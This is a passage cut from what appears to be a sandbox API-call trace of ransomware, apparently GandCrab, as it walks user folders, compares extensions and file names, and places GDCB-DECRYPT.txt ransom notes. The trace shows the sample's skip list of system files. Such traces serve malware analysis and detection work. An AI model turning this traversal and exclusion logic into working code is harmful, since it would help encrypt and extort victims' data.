Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 181 [0170.207] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.207] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.207] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.207] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.207] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.207] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 183 [0170.207] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.207] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.207] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.207] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.207] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.207] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 175 [0170.207] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.207] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.207] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.208] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 184 [0170.208] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.209] GetLastError () returned 0x50 [0170.209] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.209] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 167 [0170.209] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.209] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.209] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.209] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.209] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.209] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.209] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.209] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.209] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.209] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.209] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.210] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 181 [0170.210] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 181 [0170.210] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.210] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.210] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.210] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.210] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.210] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.210] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 183 [0170.210] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 183 [0170.210] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 183 [0170.210] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 183 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.210] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.210] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.210] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.210] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.210] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.210] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\" [0170.210] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.211] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.211] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 176 [0170.211] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.211] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.211] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.211] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.211] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.211] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.211] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.211] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.211] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.211] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.211] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 192 [0170.211] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.211] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.211] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.211] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.211] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.211] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 186 [0170.211] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.211] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.211] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.211] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.211] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.211] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 185 [0170.211] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.211] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.211] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.212] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.212] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 193 [0170.212] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.213] GetLastError () returned 0x50 [0170.213] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.213] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 176 [0170.213] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.213] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e98 [0170.214] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.214] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.214] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.214] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.214] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.214] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.214] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.214] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.214] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.214] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 192 [0170.214] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 192 [0170.214] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 192 [0170.214] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 192 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.214] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.214] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.214] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.214] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.214] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.214] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.214] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.215] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 186 [0170.215] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 186 [0170.215] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.215] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.215] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.215] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.215] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.215] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.215] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 185 [0170.215] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 185 [0170.215] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.215] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.215] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.215] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.215] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.215] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.216] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.216] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.216] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.216] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.216] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 177 [0170.216] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 177 [0170.216] lstrlenW (lpString="C:\\Documents and 